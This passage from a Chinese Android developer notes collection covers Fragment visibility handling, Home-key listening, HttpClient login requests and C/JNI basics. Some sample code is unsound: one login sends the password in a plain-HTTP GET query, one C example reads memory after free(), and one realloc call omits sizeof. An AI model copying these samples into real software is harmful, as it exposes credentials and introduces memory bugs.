view.setScaleY(scaleFactor);\n\n        } else { // (1,+Infinity]\n            // This page is way off-screen to the right.\n            view.setAlpha(0);\n        }\n    }\n}\n```\n\n\n## 判断首次进入`Fragment`的时机\n\n上面介绍了`Fragment`真正的`onPause`及`onResume`方法。也就是说`Fragment`和`ViewPager`一起用时，由于`ViewPager`的缓存机制，在打开一个`Fragment`时，它旁边的几个 `Fragment`其实也已经被创建了，如果我们是在`Fragment`的`onCreat()`或者`onCreateView()`里去跟服务器交互，下载界面数据，那么这时这些已经被创建的`Fragment`，就都会出现在后台下载数据的情况了。所以我们通常需要在`setUserVisibleHint()`里去判断当前`Fragment`是否可见，可见时再去下载数据，但是这样还是会出现一个问题，就是每次可见时都会重复去下载数据，即使我们在`setUserVisibleHint()`做了很多判断，实现了可见时加载并且只有第一次可见时才加载，可能还是会遇到其他问题。比如说，我下载完数据就直接需要对`ui`进行操作，将数据展示出来，但有时却报了`ui`控件`null`异常，这是因为`setUserVisibleHint()`有可能在`onCreateView()`创建`view`之前调用，而且数据加载时间很短，这就可能出现`null` 异常了，那么我们还需要再去做些判断，保证在数据下载完后`ui`控件已经创建完成。我最近就遇到了这个问题，想要在第一次进入\n某个`fragment`的时候在某个`view`上面显示一个`popunwindow`，我想到的就是在`setUserVisibleHint()`方法中去显示，但是发现有时候对应的`view`还没初始化。\n下面就是如何判断首次进入`Fragment`的时机。\n\n```\npublic abstract class BaseFragment extends Fragment {\n    private View mRootView;\n    protected boolean isFirstVisible = true;\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        isFirstVisible = true;\n        mRootView = null;\n    }\n\n    @Override\n    public void onViewCreated(View view, @Nullable Bundle savedInstanceState) {\n        super.onViewCreated(view, savedInstanceState);\n        if (mRootView == null) {\n            mRootView = view;\n            if (getUserVisibleHint()) {\n                if (isFirstVisible) {\n                    onFragmentFirstVisible();\n                    isFirstVisible = false;\n                }\n            }\n        }\n    }\n\n    @Override\n    public void setUserVisibleHint(boolean isVisibleToUser) {\n        super.setUserVisibleHint(isVisibleToUser);\n        if (mRootView == null) {\n            return;\n        }\n        if (isFirstVisible && isVisibleToUser) {\n            onFragmentFirstVisible();\n            isFirstVisible = false;\n        }\n    }\n\n    protected void onFragmentFirstVisible() {\n        // 首次进入改fragment的时机\n    }\n}\n\n```\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Home键监听.md",
    "content": "Home键监听\n===\n\n1. `Home`键是一个系统的按钮，我们无法通过`onKeyDown`进行拦截，它是拦截不到的，我们只能得到他在什么时候被按下了。就是通过广播接收者\n    ```java\n    public class HomeKeyEventBroadCastReceiver extends BroadcastReceiver {\n        static final String SYSTEM_REASON = \"reason\";\n        static final String SYSTEM_HOME_KEY = \"homekey\";\n        static final String SYSTEM_RECENT_APPS = \"recentapps\";\n    \n        @Override\n        public void onReceive(Context context, Intent intent) {\n            String action = intent.getAction();\n            if (action.equals(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)) {\n                String reason = intent.getStringExtra(SYSTEM_REASON);\n                if (reason != null) {\n                    if (reason.equals(SYSTEM_HOME_KEY)) {\n                        // home key处理点\n                    } else if (reason.equals(SYSTEM_RECENT_APPS)) {\n                        // long home key处理点\n                    }\n                }\n            }\n        }\n    }\n     ```\n\n2. 在`Activity`中去注册这个广播接收者\n    ```java\n    receiver = new HomeKeyEventBroadCastReceiver();\n    registerReceiver(receiver, new IntentFilter(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));\n    ```\n\n3. 在`Activity`销毁的方法中去取消注册\n    ```java\n    unRegisterReceiver(receiver);\n    ```\n\n----\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/HttpClient执行Get和Post请求.md",
    "content": "HttpClient执行Get和Post请求\n===\n\n1. Get\n\n    ```java\n\t/**\n     * 采用httpclient的方式 用get提交数据到服务器\n     */\n    public void loginByClientGet(View view) {\n        String password = et_password.getText().toString().trim();\n        String name = et_username.getText().toString().trim();\n        if (TextUtils.isEmpty(name) || TextUtils.isEmpty(password)) {\n            Toast.makeText(this, \"用户名密码不能为空\", 1).show();\n            return;\n        }\n        // 1.打开浏览器\n        HttpClient client = new DefaultHttpClient();\n        // 2.输入浏览器的地址\n        String uri = \"http://192.168.1.100:8080/web/LoginServlet?\" + \"name=\"\n                + URLEncoder.encode(name) + \"&password=\"\n                + URLEncoder.encode(password);\n        HttpGet httpGet = new HttpGet(uri);\n        // 3.敲回车.\n        try {\n            HttpResponse response = client.execute(httpGet);\n            int code = response.getStatusLine().getStatusCode();\n            if (code == 200) {\n                InputStream is = response.getEntity().getContent();\n                String result = StreamTools.readFromStream(is);\n                Toast.makeText(this, result, 1).show();\n            } else {\n                Toast.makeText(this, \"服务器异常\", 1).show();\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            Toast.makeText(this, \"访问网络异常\", 1).show();\n        }\n    }\n    ```\n2. Post\n\n    ```java\n    /**\n     * 采用httpclient post数据到服务器\n     */\n    public void loginByClientPost(View view) {\n        String password = et_password.getText().toString().trim();\n        String name = et_username.getText().toString().trim();\n        if (TextUtils.isEmpty(name) || TextUtils.isEmpty(password)) {\n            Toast.makeText(this, \"用户名密码不能为空\", 1).show();\n            return;\n        }\n        try {\n            // 1.创建一个浏览器\n            HttpClient client = new DefaultHttpClient();\n            // 2.准备一个连接\n            HttpPost post = new HttpPost(\n                    \"http://192.168.1.100:8080/web/LoginServlet\");\n            // 要向服务器提交的数据实体\n            List<NameValuePair> parameters = new ArrayList<NameValuePair>();\n            parameters.add(new BasicNameValuePair(\"name\", name));\n            parameters.add(new BasicNameValuePair(\"password\", password));\n            UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters,\n                    \"utf-8\");\n            post.setEntity(entity);\n            // 3.敲回车\n            HttpResponse response = client.execute(post);\n            int code = response.getStatusLine().getStatusCode();\n            if (code == 200) {\n                InputStream is = response.getEntity().getContent();\n                String result = StreamTools.readFromStream(is);\n                Toast.makeText(this, result, 1).show();\n            } else {\n                Toast.makeText(this, \"服务器异常\", 1).show();\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            Toast.makeText(this, \"client post 失败\", 1).show();\n        }\n    }\n    ```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/JNI_C语言基础.md",
    "content": "JNI_C语言基础\n===\n\n1. JNI(java native interface)    \n    `Java`本地开发接口，`JNI`是一个协议，这个协议用来沟通`Java`代码和外部的本地代码(`c/c++`).\n    通过这个协议`Java`代码就可以调用外部的`c/c++`代码，外部的`c/c++`代码也可以调用java代码，\n\t使用JNI技术，其实就是在Java程序中，调用C语言的函数库中提供的函数，来完成一些Java语言无法完成的任务。由于Java语言和C语言结构完全不相同，因此若想让它们二者交互，则需要制定一系列的规范。\n\tJNI就是这组规范，此时 Java只和JNI交互，而由JNI去和C语言交互。\n\t\n\tJNI技术分为两部分：Java端和C语言端。且以Java端为主导。    \n\t- 首先，Java程序员在Java端定义一些native方法，并将这些方法以C语言头文件的方式提供给C程序员。\n\t- 然后，C程序员使用C语言，来实现Java程序员提供的头文件中定义的函数。\n\t- 接着，C程序员将函数打包成一个库文件，并将库文件交给Java程序员。\n\t- 最后，Java程序员在Java程序中导入库文件，然后调用native方法。\n\t在Java程序执行的时候，若在某个类中调用了native方法，则虚拟机会通过JNI来转调用库文件中的C语言代码。提示：C代码最终是在Linux进程中执行的，而不是在虚拟机中。\n \n2. 为什么要用JNI\n\t- 首先，Java语言提供的类库无法满足要求(驱动开发 wifi等),且在数学运算,实时渲染的游戏上,音视频处理等方面上与C/C++相比效率稍低。 \n\t- 然后，Java语言无法直接操作硬件，C/C++代码不仅能操作硬件而且还能发挥硬件最佳性能。\n\t- 接着，使用Java调用本地的C/C++代码所写的库，省去了重复开发的麻烦，并且可以利用很多开源的库提高程序效率。Opencore\n\t- 接着，特殊的业务场景，java能反编译但是c不能，因此对于一些不想让别人知道的东西可以用c，加密等\n \n3. 怎么用JNI\n    1. C/C++语言 \n\t2. 掌握java jni流程 \n\t3. NDK (native develop kits ) \n  \n4. 指针和指针变量的关系\n\t指针就是地址，地址就是指针          \n\t地址就是内存单元的编号          \n\t指针变量是存放地址(指针)的变量      \n\t指针和指针变量是两个不同的概念       \n\t但是要注意： 通常我们叙述时会把指针变量简称为指针，实际它们含义并不一样      \n\n  - 未经过初始化的指针变量，不能够直接使用\n  - 指针变量的类型 不能够相互转换 \n  - 函数的变量(静态)不能够跨函数访问，失去了函数变量的访问范围(生命周期)，因为方法执行完之后会释放内存，所以方法中的变量就没有了，\n\t但是地址值还是能拿到的，因为地址值是内存中真实存在的地址位置 \n  - 指针声明的三种方式\n        int * p; //p 是变量的名字， int * 是一个类型，这个变量存放的是int类型变量的地址。\n        int* p     int * p    int *p\n\n5. *号的三种含义    \n\t1. 乘法 3*5\n\t2. 定义指针变量 int * p;\n    3. 指针运算符，如果p是一个已经定义好的指针变量,则*p表示以p的内容为地址的变量\n \n6. 为什么要使用指针(指针的重要性）\n\t直接访问硬件 (opengl 显卡绘图)       \n\t快速传递数据(指针表示地址)      \n\t返回一个以上的值(返回一个数组或者结构体的指针)     \n\t表示复杂的数据结构(结构体)    \n\t方便处理字符串    \n\t指针有助于理解面向对象\n\n7. 指针和数组的关系\n\t一维数组的数组名是个指针常量，它存放的是一维数组第一个元素的地址    \n\tC中数组的定义比较死板，中括号必须放到名字的后面    \n\tint a[5];    \n\tprintf(\"%#X\\n\",&a[0]);    \n\tprintf(\"%#X\\n\",&a);    \n     \n\t如果p是一维数组 则p[i] 等价于 *(p+i),都是得到一维数组中的第i个元素。    \n\t在c语言中不会检查角标越界如int a[5]写a[5]不会报错   \n\n8. 动态分配内存Malloc\n\t```c\n\t采用malloc在椎内存中申请空间\n\t#include <malloc.h>  //不能省  malloc 是 memory(内存) allocate(分配)的缩写\n\t#include <stdio.h>\n\n\tmain(){\n\t\t //malloc() 在堆空间中动态的申请一块连续的内存空间(数组)\n\t\t // 参数： 指定申请的内存空间的大小(字节)\n\t\t // 返回值： 所申请空间的首地址(数组的第一个元素的地址),返回值是Void数据类型\n\t   \n\t\t int* p = (int*) malloc( sizeof(int) );     //因为返回值是一个Void类型，所以要强转\n\t\t *p = 99;\n\t\t\n\t\t //free()释放已经分配的内存块\n\t\t //参数： 指定释放哪块内存空间（地址）\n\t \n\t\t free(p);\n\t\tprintf(\"内容是 %d\\n\", *p);     //上面的free只是释放内存块中的内容，但是打印这个内存块的地址还是能够打印出来的，因为这个内存块的地址是内存上的地址是真实存在的       \n\t\t system(\"pause\"); \n\t}\n\t\n\t如果动态申请的内存不够用，那么可以继续申请内存\n\t用realloc\n\t/*\n\t  1\\创建数组\n\t  2、赋值\n\t  3、打印 \n\t*/\n\t#include<stdio.h>\n\t#include<malloc.h>\n\n\tvoid printArr(int* arr, int len){\n\t\t int i;\n\t\t for( i = 0 ; i < len; i++){\n\t\t\t\tprintf(\"arr[ %d ]= %d\\n\", i, *(arr+i));\n\t\t }\n\n\t}\n\n\tmain(){\n\t\t   printf(\"请您输入所要创建的数组大小： \\n\");\n\t\t   int len ;\n\t\t   scanf(\"%d\", &len);  &是取地址符\n\n\t\t   //动态数组创建\n\t\t   int* arr = (int*) malloc( sizeof(int) *  len);\n\n\t\t   printf(\"请您为每个元素赋值： \\n\");\n\n\t\t   int i;\n\t\t   for(i = 0; i < len; i++){\n\t\t\t\t int temp;\n\t\t\t\t scanf(\"%d\", &temp);\n\n\t\t\t\t *(arr + i) = temp;\n\t\t   }\n\n\t\t   //打印\n\t\t   printf(\"数组元素的值为： \\n\");\n\t\t   printArr(arr, len);\n\n\t\t   //-----------------------------------------\n\n\t\t   printf(\"请输入增加的元素个数： \\n\");\n\t\t   int count;\n\t\t   scanf(\"%d\", &count);\n\n\t\t   //更改数组大小\n\t\t   //realloc()\n\t\t   //参数1： 指定所需修改的数组\n\t\t   //参数2： 指定修改后的数组的大小\n\t\t   //返回值：修改后数组的首地址  （VOID）\n\t\t   arr = (int*) realloc(arr, len + count);\n\n\t\t   printf(\"请为新增加的元素赋值： \\n\");\n\n\t\t   int j;\n\t\t   for(j = len; j < len + count; j++){\n\t\t\t\t int temp;\n\t\t\t\t scanf(\"%d\", &temp);\n\n\t\t\t\t *(arr + j) = temp;\n\t\t   }\n\n\t\t   //打印 \n\t\t   printf(\"数组元素的值为： \\n\");\n\t\t   printArr(arr, len + count);\n\n\t\t   system(\"pause\");       \n\t}\n\t或者有个简单的写法\n\tmain()\n\t{       \n\t\t int* arr =(int* ) malloc(sizeof(int)*len) ; //动态申请的内存 \n\t\t int i=0;\n\t\t for(;i<len;i++){\n\t\t   printf(\"请输入第%d个数据\\n\",i); \n\t\t   scanf(\"%d\",&arr[i]);           \n\t\t } \n\t\t  //打印显示这个数组的元素 \n\t\t  printArr(arr,len); \n\n\t\t\tprintf(\"请输入增加的数组的长度\"); \n\t\t\tint increase;\n\t\t\tscanf(\"%d\", &increase); \n\n\t\t\tarr = realloc(arr,(len+increase)*sizeof(int));\n\t\t\ti =len; \n\t\t   for(;i<len+increase ;i++){\n\t\t   printf(\"请输入第%d个数据\\n\",i); \n\t\t   scanf(\"%d\",&arr[i]);           \n\t\t } \n\n\t\t  //打印显示这个数组的元素 \n\t\t   printf(\"新的数组长度为:%d\\n\",len+increase); \n\t\t\tprintArr(arr,len+increase); \n\n\t\t\tsystem(\"pause\"); \n\t}\n\t``` \n\n9. 静态内存和动态内存                     \n    静态内存是系统是程序编译执行后系统自动分配,由系统自动释放,静态内存是栈分配的.动态内存是堆分配的.       \n    C中静态内存会自动释放，但是对于动态内存(堆内存)在c中是没有垃圾回收的，必须要靠程序员手动的去释放，不然就会一直存在        \n\n10. C中的基本数据类型               \n     char, int, float, double, signed, unsigned, long, short and void     \n     c中char 占用1个字节       java char占用2个字节     \n     c中long 占用4个字节       java long占用8个字节     \n\n\tint flag = 0,1  表示java中boolean类型\n\n\tc中用char数组  来表示java中String类型或者指针方式来表示java中String类型\n\t\t//内部转化为一个字符串的数组,并且在数组的最后一个元素拼装一个\\0. \n\t\tchar* cc = \"heima 15\";//char* str =\"hello\" ;  //<--> char str[] ={'h','e','l','l','o','\\0'};  \n\t\tchar cc[20] = \"heima 15\";\n\t\tchar cc[20] = {'h','e','i','m','a'};\n\n11. c文件的后缀是.c          \n\t```c\n\t示例代码：\n\tc中的打印语句中要有类似占位符，在后面的参数对占位符的内容进行声明\n\t#include<stdio.h>\n\tmain() {\n\t\tprintf(\"%d\\n\",sizeof(int));       //sizeof() 得到制定数据类型的长度(占用字节数)参数  接受一个数据类型 \n\t\tprintf(\"%d\\n\",sizeof(char));\n\t\tsystem(\"pause\");//可以执行命令行中的命令如 system(\"shutdown -s -t 60\");如果不加pause，运行窗口会一闪而过，因为会释放内存，把dos关闭了，所以要加上pause\n\t} \n\t```\n\n12. C中的输入输出            \n\t%d  -  int     \n\t%ld – long int     \n\t%c  - char    \n\t%f -  float     \n\t%lf – double     \n\t%x – 十六进制输出 int 或者long int 或者short int     \n\t%#x – 以0x开头 十六进制输出 int 或者long int 或者short int     \n\t%o -  八进制输出     \n\t%s – 字符串      \n \n13. c语言从键盘输入一个字符串                   \n\t```c\n    //scanf() 接收键盘输入的数据，参数1： 指定接收的数据的数据类型参数 2： 指定接收的数据存放的位置\n\t#include<stdio.h>\n\tmain() {\n\t\tchar c[20];\n\t\tscanf(\"%s\", c);\n\t\tprintf(\"%s\", c);\n\t\tsystem(\"pause\");\n\t}\n\t```\n\n14. 取地址符  &(能得到一个对象的地址)    \n\n15. C中两个数的交换      \n\t```c\n\t#include<stdio.h>\n\tvoid swap(int* i, int* j) {\n\t\tint temp = *i;\n\t\t*i = *j;\n\t\t*j = temp;\n\t}\n\tmain() {\n\t\tint i = 3;\n\t\tint j = 5;\n\t\tswap(&i, &j);\n\t\tprintf(\"%d\",i);\n\t\tprintf(\"%d\",j);\n\t\tsystem(\"pause\");      \n\t}\n\t```\n\n16. C中的for循环             \n\t```c\n\t#include <stdio.h>\n\n\t/**\n\t打印输出数组的每一个元素\n\t*/\n\tvoid printArr(int* arr, int len){\n\t\t int i;\n\t\t for(i=0;i<len;i++){\n\t\t\tprintf(\"arr[%d]=%d\\n\",i,*(arr+i));            \n\t\t  }\n\t}\n\n\tmain()\n\t{    printf(\"请输入数组的长度\");\n\t\t int  len ;\n\t\t scanf(\"%d\", &len);//要用指针\n\t\t int arr[len];\n\t\t int i=0;\n\t\t for(;i<len;i++){\n\t\t   printf(\"请输入第%d个数据\\n\",i);\n\t\t   scanf(\"%d\",&arr[i]);          \n\t\t }\n\t\t  //打印显示这个数组的元素\n\t\t  printArr(arr,len);\n\t\t  system(\"pause\");\n\t}\n\tC中for循环不能像java那样for(int i=0, i<100; i++)C中不允许在for中进行变量的声明，必须要分开，像上面的这个代码这样\n\t```\n\n17. 指针的运算               \n    int i = 3;  //天津 解放路 33号      \n    int j = 5;   // 北京 东北旺 9号      \n    int* p = &i;      \n    int* q = &j;       \n    //p-q; 单纯的指针相加减 是没有任何的意义的.\n    //指针的运算只有在连续的内存空间里面(数组)  才有意义. \n\t因为指针的运算必须在数组中才有效，这就是为什么数组中能用     \n\tp[i] 等价于 *(p+i)，因为这个p是数组的名字也代表了数组中第一个元素的地址，p+i就是讲指针加几就是得到第几个元素的指针 \n\n18. 函数的指针              \n\t```c\n\t/**\n\t1.定义int (*pf)(int x, int y);\n\t2.赋值 pf = add;\n\t3.引用 pf(3,5);\n\t*/\n\t#include <stdio.h>\n\tint add(int x,int y){\n\t\treturn x+y;\n\t}\n\tmain()\n\t{\n\t\t int (*pf)(int x, int y); //定义一个函数的指针，就是讲函数的名字改了，其它的都和函数的定义一样    \n\t\t pf = add; //将pf指向add\n\t   printf(\"result=%d\\n\",  pf(3,5)); //使用pf\n\t\t \n\t   system(\"pause\");\n\t}\n\n\t内存的四个部分 Stack  Heap CodeSegment DataSegment\n\t函数是存放到CodeSegment中的，这个函数的地址就是CodeSegment中的这个函数的地址，我们得到函数的地址如果去访问这个地址就相当于调用了这个函数\n\t```\n    \n19. 结构体(类似于java中的类)              \n    ```c\n    #include <stdio.h>\n    struct Student\n    {\n    \t int age;  //4\n    \t float score; //4\n    \t long id; //4\n    \t char sex; //1\n    };\n    int main(void)\n    {\n    \t struct Student st={80,55.6f,10001,'F'};\n    \t printf(\"st.age=%d\\n\",st.age);\n    \t\n    \t printf(\"结构体的长度为%d\\n\",sizeof(st));//打印出来的结果是16为什么呢？ 编译器为了方便起见 做了处理，它将所有的变量的长度都统一成最大的长度\n    \t\n    \t struct Student* pst = &st;//结构体的指针\n    \t\n    \t\t  printf(\"st.age=%d\\n\",(*pst).age);//(*pst)就是得到结构体，由于*的优先级比较低，通常要用括号括起来。\n    \t\t \n    \t\t printf(\"age=%d\\n\",pst->age);//这一行是上一行的简单写法，pst->age 在计算机内部会被转换为 (*pst).age pst->age的含义: pst所指向的结构体变量中的age这个成员\n    \tsystem(\"pause\");\n    }\n    ```\n    结构体的三种写法          \n    第一种  \n    ```c\n    struct Student\n    {\n    int age;\n    float score;\n    char sex;\n    }\n    ```\n    第二种      \n    ```c\n    struct Student2\n    {\n    int age;\n    float score;\n    char sex;\n    } st2;//相当于java中直接弄了一个对象\n    ```\n    第三种       \n    ```c\n    struct\n    {\n    int age;\n    float score;\n    char sex;\n    } st3;\n    ```\n\n20. Union联合体      \n\t```c\n\t#include <stdio.h> \n\tmain() { \n\t\t  struct date { int year, month, day; }today; \n\t\t  union { long i; int k; char ii; double d; } mix; \n\n\t\t  printf(\"date:%d\\n\",sizeof(struct date)); \n\t\t  printf(\"mix:%d\\n\",sizeof(mix)); \n\t\t  mix.i = 33;\n\t\t  mix.ii = 'a'; \n\t\t  printf(\"i=%d\\n\",mix.i); //结果是96，因为联合体是一个公用的内存空间，在存ii的时候将i的值给覆盖了\n\t\t  //110100000101\n\t  \n\t\t  system(\"pause\"); \n\t} \n\t联合体是一个公用的内存空间，联合体长度为： 占有字节数最大的元素的长度（字节数）\n\t```\n    \n21. 枚举         \n\t```c\n\tenum WeekDay {\n\tMonday=8,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday\n\t};//这里一定要加分号\n\n\tint main(void)\n\t{\n\t  enum WeekDay day = Sunday;\n\t  printf(\"%d\\n\",day);//打印出来是14，因为是从8开始往后逐个加1\n\t  system(\"pause\");\n\t  return 0;\n\t}\n\t默认的情况是从0开始往后递加\n\t```\t\t\n\n22. typedef           \n\t定义别名          \n\t声明自定义数据类型，配合各种原有数据类型来达到简化编程的目的的类型定义关键字。 \n    ```c\n\ttypedef int haha;  //定义数据类型的别名. \n\tint main(void)\n\t{\n\t  haha i = 3;这里haha就相当于int\n\t  printf(\"i=%d\\n\",i); \n\t}\n    ```\n\t每一个指针占四个字节\n \n23. 多级指针\n\t```c\n\t#include <stdio.h>\n\tmain() { \n\t\tint i = 88;\n\t\tint* p = &i; \n\t\tint** q = &p; //指针的指针前面要加两个*\n\t\tint*** r = &q; \n\t\tprintf(\"i=%d\\n\",***r);  \n\t\tsystem(\"pause\"); \n\t}\n\t```\n   \nC语言常见术语：      \n库函数：     \n- 为了代码重用，在C语言中提供了一些常用的、用于执行一些标准任务(如输入/出)的函数，这些函数事先被编译，并生成目标代码，然后将生成的目标代码打包成一个库文件，\n以供再次使用。 库文件中的函数被称为库函数，库文件被称为函数库。        \n通过头文件的方式 把函数库里面所有的函数暴露 .h         \n- 在Windows中C语言库函数中的目标代码都是以.obj为后缀的，Linux中是以 .o为后缀。            \n提示：单个目标代码是无法直接执行的，目标代码在运行之前需要使用连接程序将目标代码和其他库函数连接在一起后生成可执行的文件。Windows ->.exe .dll             \nLinux -> .so 动态库         \n       .a 静态库       \n头文件：          \n- 头文件中存放的是对某个库中所定义的函数、宏、类型、全局变量等进行声明，它类似于一份仓库清单。若用户程序中需要使用某个库中的函数，\n\t则只需要将该库所对应的头文件include到程序中即可。          \n- 头文件中定义的是库中所有函数的函数原型。而函数的具体实现则是在库文件中。      \n- 简单的说：头文件是给编译器用的，库文件是给连接器用的。       \n- 在连接器连接程序时，会依据用户程序中导入的头文件，将对应的库函数导入到程序中。头文件以.h为后缀名。          \n函数库：         \n- 动态库：在编译用户程序时不会将用户程序内使用的库函数连接到用户程序的目标代码中，只有在运行时，且用户程序执行到相关函数时才会调用该函数库里的相应函数，因此动态函数库所产生的可执行文件比较小。 .so 动态库        \n- 静态库：在编译用户程序时会将其内使用的库函数连接到目标代码中，程序运行时不再需要动态库。使用静态库生成可执行文件比较大。   \n在Linux中：     \n- 静态库命名一般为：lib+库名+.a 。  \n- 如：libcxy.a 其中lib说明此文件是一个库文件，cxy是库的名称，.a说明是静态的。          \n- 动态库命名一般为：lib+库名+.so 。.so说明是动态的。       \nWindows 下的动态库  .dll    \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck!"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/JNI基础.md",
    "content": "JNI基础\n===\n\n1. 将java中的字符串转换成C中字符串的工具方法              \n    ```c\n    char*   Jstring2CStr(JNIEnv*   env,   jstring   jstr){\n         char*   rtn   =   NULL;\n         jclass   clsstring   =   (*env)->FindClass(env,\"java/lang/String\");\n         jstring   strencode   =   (*env)->NewStringUTF(env,\"GB2312\");\n         jmethodID   mid   =   (*env)->GetMethodID(env,clsstring,   \"getBytes\",   \"(Ljava/lang/String;)[B\");\n         jbyteArray   barr=   (jbyteArray)(*env)->CallObjectMethod(env,jstr,mid,strencode); // String .getByte(\"GB2312\");\n         jsize   alen   =   (*env)->GetArrayLength(env,barr);\n         jbyte*   ba   =   (*env)->GetByteArrayElements(env,barr,JNI_FALSE);\n         if(alen   >   0)\n         {\n          rtn   =   (char*)malloc(alen+1);         //\"\\0\"\n          memcpy(rtn,ba,alen);\n          rtn[alen]=0;\n         }\n         (*env)->ReleaseByteArrayElements(env,barr,ba,0);  //\n         return rtn;\n    }\n    ```\n\n2. 程序被运行要经历两个步骤(1.编译 2.链接)                      \n    编译就是将源文件编译成二进制代码，而链接则是将二进制代码转换成可执行的文件如.exe等头文件.(函数的声明,函数的清单文件)作用: 给编译器看的.     \n    库函数: 头文件里面函数的实现.    \n    作用:给连接器看的.    \n \n3. jni开发的常见错误:        \n    错误1: 忘记编写android.mk文件 unknown file: ./jni/Android.mk    \n    Android NDK: Your APP_BUILD_SCRIPT points to an unknown file: ./jni/Android.mk      \n    /cygdrive/c/android-ndk-r7b/build/core/add-application.mk:133: Android NDK: Aborting...    。 停止。          \n    \n    错误2:  ndk-build 没有任何反应.        \n    忘记配置android.mk脚本       \n\t\n    错误3: $ ndk-build jni/Android.mk:4:  遗漏分隔符 。 停止。      \n中文的回车或者换行         \n\n    错误4:java.lang.UnsatisfiedLinkError: hello      \n\t忘记加载了c代码的.so库 或者 函数的签名不正确,没有找到与之对应的c代码      \n \n    错误5:07-30 java.lang.UnsatisfiedLinkError: Library Hel1o not found      \n\t没有找到对应的c代码库     \n \n    错误6: *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***       \n    07-30 11:53:17.898: INFO/DEBUG(31): Build fingerprint:     \n    'generic/sdk/generic/:2.2/FRF91/43546:eng/test-keys'      \n    c代码里面有严重的逻辑错误,产生内存的泄露.    \n \n    错误7:     \n    make: *** [obj/local/armeabi/objs/Hello/Hello.o] Error 1         \n    编译的时候 程序出现了问题,c语言的语法有问题           \n    c语言代码编译错误的时候 先去解决第一个错误. \n \n4. Java调用JNI的前提        \n    开发所使用的电脑(windows系统, x86的CPU)       \n    目标代码: android手机上运行的.( linux系统, arm的CPU)           \n    所以我们要模拟手机的系统,手机的处理器，生成手机上可以运行的二进制代码这就要用到交叉编译;            \n    根据运行的设备的不同，可以将cpu分为：          \n    - arm结构 ：主要在移动手持、嵌入式设备上。      \n    - x86结构 ： 主要在台式机、笔记本上使用。如Intel和AMD的CPU 。      \n    交叉编译: 在一种操作系统平台或者cpu平台下 编译生成 另外一个平台(cpu)可以运行的二进制代码.(使用NDK中的ndk-build命令)     \n\n\n- 工具一:  交叉编译的工具链: NDK                 \n    NDK全称：Native Development Kit 。           \n    - NDK是一系列工具的集合，它有很多作用。          \n       - 首先，NDK可以帮助开发者快速开发C(或C++)的动态库。      \n       - 其次，NDK集成了交叉编译器。使用NDK，我们可以将要求高性能的应用逻辑使用C开发，从而提高应用程序的执行效率。     \n       \n    NDK工具是提供给Linux系统用的(随着版本的升级也可以直接在Windows下使用，但是现在仍不完善有bug)，\n    所以要在windows下使用ndk的工具,必须要提供一个工具(linux环境的模拟器)\n\n- 工具二:  cygwin(windows下linux系统环境的模拟器, 主要是为了能够运行ndk的工具)       \n    安装 devel shell       \n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/jni_cygwin.png?raw=true)    \n    linux 特点:所有的设备 硬件 都是以文件的方式定义的.     \n\t安装完后进入`cygwin`打印`make -v`命令如果能打印出`GNU Make ...`就说明安装木问题了。\n\n- 工具三: cdt(c/c++ develop tools)  eclipse 的一个插件  用来让c\\c++代码 语法高亮显示.         \n    adt(android develop tools)          \n\n- 工具四：           \n    为了不用每次使用ndk-build命令都要进入到ndk的安装目录，这里要进行Path变量的配置。      \n    配置cygwin的环境变量: 在cygwin安装目录,etc目录,profile的文件 32行 添加ndk工具所在的目录.\n    `PATH=\"/usr/local/bin:/usr/bin:/cygdrive/d/android-ndk-r7b:${PATH}\"`在这个后面加上:ndk-build的路径(注意：在linux中路径的分隔符不是分号而是冒号)，\n\t改成这样       \n\t`PATH=\"/usr/local/bin:/usr/bin:${PATH}:/cygdrive/d/android-ndk-r7b\"`//注意这里的路径是在linux系统下的ndk路径而不是windows下的路径,/cygdrive/d/是在linux下看到的d盘。\n\n### JNI开发步骤：\n\n1. 创建一个android工程\n2. JAVA代码中写声明native 方法 public native String helloFromJNI();\n3. 用javah工具生成头文件\n4. 创建jni目录,引入头文件,根据头文件实现c代码\n5. 编写Android.mk文件\n6. Ndk编译生成动态库\n7. Java代码load 动态库.调用native代码\n\n### JNI开发之Java中调用C代码步骤\n\n1. 在java中定义一个要调用的C的方法(本地方法)            \n\t//1.定义一个native的方法            \n\t`public native String helloFromC();`\n\n2. 在工程中新建一个jni文件夹(然后在这个文件夹中写c代码，在C中实现java里面定义的c方法默认的时候是自己手写c的方法名，           \n\t但是很麻烦这里要参考七里面提供的方式，用javah编译后，然后拷贝h的头文件到jni文件夹中，在从h文件拷贝方法的名字，然后实现该方法).  \n\t```\n\tC:\\Users\\Administrator>javah -help\n\t用法:\n\t  javah [options] <classes>\n\t其中, [options] 包括:\n\t  -o <file>                输出文件 (只能使用 -d 或 -o 之一)\n\t  -d <dir>                 输出目录\n\t  -v  -verbose             启用详细输出\n\t  -h  --help  -?           输出此消息\n\t  -version                 输出版本信息\n\t  -jni                     生成 JNI 样式的标头文件 (默认值)\n\t  -force                   始终写入输出文件\n\t  -classpath <path>        从中加载类的路径\n\t  -cp <path>               从中加载类的路径\n\t  -bootclasspath <path>    从中加载引导类的路径\n\t```\t\n\t`#include <stdio.h>`         \n\t`#include <jni.h>`        \n\t//这个方法的名字的写法固定Java_表示这个方法由Java调用,cn_itcast_ndk表示java的包名DemoActivity表示\n\t//java中调用这个方法的类名helloFromC表示java中调用这个方法的方法名字\n\t```java\n\tjstring Java_cn_itcast_ndk_DemoActivity_helloFromC (JNIEnv* env , jobject obj){//这两个参数是固定必不可少的\n\t\t   //return (*(*env)).NewStringUTF(env,\"hello from 